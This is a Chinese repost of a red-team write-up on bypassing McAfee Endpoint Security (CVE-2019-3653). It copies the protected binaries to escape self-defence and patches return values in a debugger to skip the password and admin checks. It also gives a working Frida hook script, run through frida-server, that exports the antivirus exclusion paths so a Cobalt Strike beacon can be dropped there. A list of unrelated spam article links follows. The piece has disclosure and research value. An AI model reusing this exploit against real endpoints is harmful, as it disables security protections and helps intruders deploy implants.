怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

。

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

:

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/326069.html

赞 (0)

相关推荐

  • 美乐家到底能不能做,美乐家为什么不好做

      如果有人跟你说,美乐家很容易经营,能够躺赚,那么,他要么就是个骗子,要么就是个傻子。因为这不可能。 但实际上,我们也总是看到很多貌似没有人脉资源、没有销售能力的人在美乐家经营得很好。反而,另外一些人,貌似资源充足,能力超强,却经营不起来。于是,我认真研究了这些人,对比他们的不同,结果,我发现了一个秘密。 他们仅仅是心态的不同,前者以投资的心态,…

    2022-03-23
  • 家人13年奔波终悲剧,小姐弟失踪前曾说去拿八宝粥是真的吗

    4年前,江西吉安县的一对童姓姐弟在家附近失踪,孩子失踪后警方曾发布悬赏通告,征集线索,然而两个孩子仿佛凭空消失,至今无任何音信。 “如果见到你们的话,不知道还抱不抱得动你们。”在孩子母亲曾根兰的脑海中,她曾无数次与孩子们对话。 曾根兰和其他寻亲家长一样,在网络发布寻人启事,在寻亲活动上一遍遍描述自己儿女的相貌特征,希望能有更多人看到,希望自己的儿女能看到。 …

    2023-06-16
  • 脂肪转移,眶隔脂肪释放术后注意

    “眶隔释放”,全称是“眶隔脂肪释放术”,属于眶周年轻化手术中一种非常重要的辅助术式,是将造成眼袋的眶隔脂肪向下推移,展平以及缝至眶下缘稍下的骨膜上,并且修剪平整,然后把松弛里的皮肤适量切除最后缝合达到去眼袋和泪沟的目的。 目前,眶隔脂肪释放术主要有外固定和内固定两种方式。 外固定时缝线缝合在皮肤表面,体外可见,内固定时,缝线缝合在深层组织,体表不可见缝线。一…

    2023-06-29
  • 韩国服装批发网站有哪些(韩国服装批发网站大全)

    韩国服装批发网站有哪些(韩国服装批发网站大全)韩国服装批发网站有哪些(韩国服装批发网站大全)韩国服装批发网站有哪些(韩国服装批发网站大全)韩国服装批发网站有哪些(韩国服装批发网站大全)

    韩国比较小众的品牌,均价都在100左右,还有最近韩国大火的卫衣。   2.stylenanda中文官网 支付宝 直邮包税 中文页面 折前满$50包邮 是美妆3CE的官网,前两次的折扣都让大家剁手了,而且网站的衣服也都很好看,还能get韩剧同款,从55进入还有5%的返莉。   3.FDU 支付宝 中文站 价格含税 满600元包邮 韩国挺火的…

    2021-12-14 • 投稿
  • ie 未响应,ie未响应是怎么回事

    《关于“ie未响应”问题的深入探讨》 一、问题的出现与表现 在日常使用电脑的过程中,我们也许会偶尔遇到“ie未响应”的情况。当我们点击ie浏览器的某个链接或者进行某些操作时,页面似乎停滞了,ie图标上可能会出现一个忙碌的旋转标志,然后就一直处于未响应的状态,无论我们怎么等待或者点击其他按钮,都没有反应。这种情况可能会让我们感到非常着急,尤其是在我们需要及时获…

    2025-10-03
  • 古人四兄弟从大到小排行次序是

    古人四兄弟从大到小排行次序是古人四兄弟从大到小排行次序是古人四兄弟从大到小排行次序是古人四兄弟从大到小排行次序是

    “伯仲之间”用来比喻人或事物不相上下,难分高低。那么,这个“伯仲”又代表了什么呢?今天我们就来聊一聊。 大家都知道,古人的长幼尊卑观念体现在生活中的方方面面,自然也包括了起名字,古人的“名”是出生时取的,而“字”要到二十岁举行加冠礼时才确定下来,所以我们通过古人的“表字”便可知道其在家族中的排行,甚至可以知晓其地位。例如我们所熟悉的历史人物:孔子的长子叫孔鲤…

    2023-02-14 • 投稿
  • 理想ONE新2022款,理想one新2022款价格及图片

    理想ONE新2022款,理想one新2022款价格及图片理想ONE新2022款,理想one新2022款价格及图片理想ONE新2022款,理想one新2022款价格及图片理想ONE新2022款,理想one新2022款价格及图片

    在当下国内市场新能源纯电动汽车的热度表现的比较突出,成为了年轻人主要关注的系列,而国产新能源纯电动汽车,也占据了很大的比重,理想ONE作为主流的年轻化中大型豪华纯新能源SUV,采用了增程式动力系统,而当下车型整体的价格水平有所上涨,起步价格达到了34.98万,相比老款车型上涨的幅度并不小,而对于众多消费者来说,车型的表现加价不加量,作为主打性价比的国产SUV…

    2022-05-03 • 投稿
  • 茶叶生意怎么样,做茶叶生意好做吗

    最近有一位粉丝向我咨询了一个问题,他们家楼下开了一家茶叶店,装修的很不错,但是每次从旁边路过的时候,从未看到任何一个客人。 一开始觉得这家店肯定撑不了多久,结果旁边的店已经换了好几家了,这家店还是稳如泰山,从来没有要倒闭的迹象。 这位粉丝就问我,茶叶店究竟是如何赚钱的呢? 我相信很多人可能都会有这个疑问,今天我们就来聊聊这个话题,如果你要是想开茶叶店来赚钱,…

    2022-04-19
  • 碳排放强度计算公式(农业碳排放强度计算公式)

    BIM技术的出现和发展,让建筑设计呈三维立体表达的同时,也为进一步的建筑性能分析提供了技术支撑。使现代建筑在达到美学的同时,实现节能减排的建筑目标。 在现行国内外背景下,我国近年来开始在全国范围内开展建筑领域的节能减排工作,意在将绿色、低碳、环保落在实处,完成建筑能耗和碳排放的双控目标。 2019年,住建部发布了《绿色建筑评价标准》,编号为GB/T50378…

    2023-05-25
  • 黄国伦牧师(黄国伦牧师简介)

    黄国伦牧师(黄国伦牧师简介)黄国伦牧师(黄国伦牧师简介)黄国伦牧师(黄国伦牧师简介)黄国伦牧师(黄国伦牧师简介)

      (Photo by ThomasLife @ flickr) 不论是科学研究或教学现场观察,大部分男孩小时候在许多方面的发展,都比女孩晚熟。如果说“不要让孩子输在起跑点”这句话是真的,“那恐怕大部分的男孩子一开始就输了,”有四个儿子的牧师黄国伦亲身的体悟是,“慢一点,真的没关系,后来你会发现,真的一点都没差,我比较相信男孩子是大器晚成型。” 凯…

    2022-01-20 • 投稿
  • 如何加入淘宝商城(怎样加入淘宝商家)

    如何加入淘宝商城(怎样加入淘宝商家)如何加入淘宝商城(怎样加入淘宝商家)如何加入淘宝商城(怎样加入淘宝商家)如何加入淘宝商城(怎样加入淘宝商家)

    开淘宝店因为门槛低、收益大,成为众多年轻人创业的首选。很多新手朋友们都想开一家属于自己的网店,但是苦于没有经验,所以不知道从何下手。鉴于此,小编为大家整理出2021最新版手机淘宝APP开店流程,图文并茂,简明易懂,大家只要按下面的步骤操作,轻松几步就能创建淘宝店铺。 第一步:打开淘宝APP,点击我的淘宝,找到中间的“更多”选项   第二步:在全部工…

    2021-11-29 • 投稿
  • 网店代销联盟,网店代销联盟怎么做

    《网店代销联盟:开启电商创业新路径》 在当今数字化时代,电商行业蓬勃发展,网店代销联盟作为一种新兴的商业模式,逐渐受到众多创业者的关注。 它究竟是怎样的一种存在?又能为创业者带来哪些机遇和挑战呢?让我们一起来深入探讨一下。 一、什么是网店代销联盟? 网店代销联盟,简单来说,就是一种商家与代销商之间的合作模式。 商家将自己的商品提供给代销商,代销商则通过自己的…

    2025-04-03